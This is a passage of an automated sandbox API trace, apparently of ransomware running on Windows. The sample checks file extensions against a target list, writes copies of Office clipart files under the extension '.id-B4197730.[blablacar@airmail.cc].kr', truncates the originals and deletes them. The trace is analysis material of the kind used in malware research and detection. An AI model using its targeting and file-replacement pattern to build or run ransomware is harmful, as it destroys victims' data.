68 [0182.561] lstrlenW (lpString=".doc") returned 4 [0182.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.561] lstrlenW (lpString=".docx") returned 5 [0182.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.561] lstrlenW (lpString=".pdf") returned 4 [0182.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.561] lstrlenW (lpString=".xls") returned 4 [0182.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.562] lstrlenW (lpString=".xlsx") returned 5 [0182.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.563] lstrlenW (lpString=".ppt") returned 4 [0182.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.563] lstrlenW (lpString=".zip") returned 4 [0182.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.563] lstrlenW (lpString=".rar") returned 4 [0182.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.563] lstrlenW (lpString=".bz2") returned 4 [0182.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.563] lstrlenW (lpString=".7z") returned 3 [0182.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.563] lstrlenW (lpString=".dbf") returned 4 [0182.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.564] lstrlenW (lpString=".1cd") returned 4 [0182.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.564] lstrlenW (lpString=".jpg") returned 4 [0182.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.564] lstrlenW (lpString=".doc") returned 4 [0182.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.564] lstrlenW (lpString=".docx") returned 5 [0182.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.564] lstrlenW (lpString=".pdf") returned 4 [0182.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.564] lstrlenW (lpString=".xls") returned 4 [0182.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.564] lstrlenW (lpString=".xlsx") returned 5 [0182.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.564] lstrlenW (lpString=".ppt") returned 4 [0182.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.564] lstrlenW (lpString=".zip") returned 4 [0182.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.564] lstrlenW (lpString=".rar") returned 4 [0182.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.564] lstrlenW (lpString=".bz2") returned 4 [0182.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.564] lstrlenW (lpString=".7z") returned 3 [0182.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.564] lstrlenW (lpString=".dbf") returned 4 [0182.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.565] lstrlenW (lpString=".1cd") returned 4 [0182.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0182.565] lstrlenW (lpString=".jpg") returned 4 [0182.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.565] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.565] lstrlenW (lpString="BL00985_.WMF") returned 12 [0182.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.566] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3768) returned 1 [0182.566] CloseHandle (hObject=0x4c4) returned 1 [0182.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0182.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0182.566] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.566] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.567] GetLastError () returned 0x0 [0182.567] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xeb8, lpOverlapped=0x0) returned 1 [0182.569] WriteFile (in: hFile=0x3e0, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec0, lpOverlapped=0x0) returned 1 [0182.570] ReadFile (in: hFile=0x4c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.570] WriteFile (in: hFile=0x3e0, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.570] SetEndOfFile (hFile=0x3e0) returned 1 [0182.570] CloseHandle (hObject=0x3e0) returned 1 [0182.570] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.571] SetEndOfFile (hFile=0x4c4) returned 1 [0182.573] CloseHandle (hObject=0x4c4) returned 1 [0182.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0182.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.574] lstrlenW (lpString=".doc") returned 4 [0182.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.574] lstrlenW (lpString=".docx") returned 5 [0182.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.574] lstrlenW (lpString=".pdf") returned 4 [0182.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.574] lstrlenW (lpString=".xls") returned 4 [0182.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.574] lstrlenW (lpString=".xlsx") returned 5 [0182.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.574] lstrlenW (lpString=".ppt") returned 4 [0182.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.574] lstrlenW (lpString=".zip") returned 4 [0182.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.575] lstrlenW (lpString=".rar") returned 4 [0182.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.575] lstrlenW (lpString=".bz2") returned 4 [0182.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.575] lstrlenW (lpString=".7z") returned 3 [0182.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.575] lstrlenW (lpString=".dbf") returned 4 [0182.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.575] lstrlenW (lpString=".1cd") returned 4 [0182.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.575] lstrlenW (lpString=".jpg") returned 4 [0182.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.575] lstrlenW (lpString=".doc") returned 4 [0182.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.575] lstrlenW (lpString=".docx") returned 5 [0182.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.575] lstrlenW (lpString=".pdf") returned 4 [0182.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.575] lstrlenW (lpString=".xls") returned 4 [0182.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.575] lstrlenW (lpString=".xlsx") returned 5 [0182.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.575] lstrlenW (lpString=".ppt") returned 4 [0182.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.575] lstrlenW (lpString=".zip") returned 4 [0182.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.575] lstrlenW (lpString=".rar") returned 4 [0182.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.576] lstrlenW (lpString=".bz2") returned 4 [0182.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.576] lstrlenW (lpString=".7z") returned 3 [0182.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.576] lstrlenW (lpString=".dbf") returned 4 [0182.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.576] lstrlenW (lpString=".1cd") returned 4 [0182.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0182.576] lstrlenW (lpString=".jpg") returned 4 [0182.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.576] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.576] lstrlenW (lpString="BOAT.WMF") returned 8 [0182.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0182.711] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3350) returned 1 [0182.711] CloseHandle (hObject=0x484) returned 1 [0182.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0183.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0183.658] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.658] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0183.659] GetLastError () returned 0x0 [0183.659] ReadFile (in: hFile=0x510, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xd16, lpOverlapped=0x0) returned 1 [0183.660] WriteFile (in: hFile=0x514, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xd20, lpOverlapped=0x0) returned 1 [0183.661] ReadFile (in: hFile=0x510, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.661] WriteFile (in: hFile=0x514, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xe4, lpOverlapped=0x0) returned 1 [0183.661] SetEndOfFile (hFile=0x514) returned 1 [0183.661] CloseHandle (hObject=0x514) returned 1 [0183.661] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.661] SetEndOfFile (hFile=0x510) returned 1 [0183.664] CloseHandle (hObject=0x510) returned 1 [0183.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0183.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.665] lstrlenW (lpString=".doc") returned 4 [0183.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.665] lstrlenW (lpString=".docx") returned 5 [0183.665] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0183.665] lstrlenW (lpString=".pdf") returned 4 [0183.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.665] lstrlenW (lpString=".xls") returned 4 [0183.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.665] lstrlenW (lpString=".xlsx") returned 5 [0183.665] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0183.665] lstrlenW (lpString=".ppt") returned 4 [0183.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.665] lstrlenW (lpString=".zip") returned 4 [0183.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.665] lstrlenW (lpString=".rar") returned 4 [0183.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.665] lstrlenW (lpString=".bz2") returned 4 [0183.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.665] lstrlenW (lpString=".7z") returned 3 [0183.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.665] lstrlenW (lpString=".dbf") returned 4 [0183.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.666] lstrlenW (lpString=".1cd") returned 4 [0183.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.666] lstrlenW (lpString=".jpg") returned 4 [0183.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.666] lstrlenW (lpString=".doc") returned 4 [0183.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.666] lstrlenW (lpString=".docx") returned 5 [0183.666] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0183.666] lstrlenW (lpString=".pdf") returned 4 [0183.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.666] lstrlenW (lpString=".xls") returned 4 [0183.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.666] lstrlenW (lpString=".xlsx") returned 5 [0183.666] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0183.666] lstrlenW (lpString=".ppt") returned 4 [0183.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.666] lstrlenW (lpString=".zip") returned 4 [0183.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.666] lstrlenW (lpString=".rar") returned 4 [0183.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.666] lstrlenW (lpString=".bz2") returned 4 [0183.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.666] lstrlenW (lpString=".7z") returned 3 [0183.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.666] lstrlenW (lpString=".dbf") returned 4 [0183.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.667] lstrlenW (lpString=".1cd") returned 4 [0183.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0183.667] lstrlenW (lpString=".jpg") returned 4 [0183.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.667] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.667] lstrlenW (lpString="BS00145_.WMF") returned 12 [0183.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0183.667] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1712) returned 1 [0183.667] CloseHandle (hObject=0x510) returned 1 [0183.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0183.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0183.668] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.668] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0183.669] GetLastError () returned 0x0 [0183.669] ReadFile (in: hFile=0x510, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x6b0, lpOverlapped=0x0) returned 1 [0183.670] WriteFile (in: hFile=0x514, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x6c0, lpOverlapped=0x0) returned 1 [0183.671] ReadFile (in: hFile=0x510, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.672] WriteFile (in: hFile=0x514, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.672] SetEndOfFile (hFile=0x514) returned 1 [0183.672] CloseHandle (hObject=0x514) returned 1 [0183.672] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.672] SetEndOfFile (hFile=0x510) returned 1 [0183.675] CloseHandle (hObject=0x510) returned 1 [0183.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0183.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0183.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.676] lstrlenW (lpString=".doc") returned 4 [0183.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.676] lstrlenW (lpString=".docx") returned 5 [0183.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.676] lstrlenW (lpString=".pdf") returned 4 [0183.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.676] lstrlenW (lpString=".xls") returned 4 [0183.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.676] lstrlenW (lpString=".xlsx") returned 5 [0183.676] lstrcmpiW 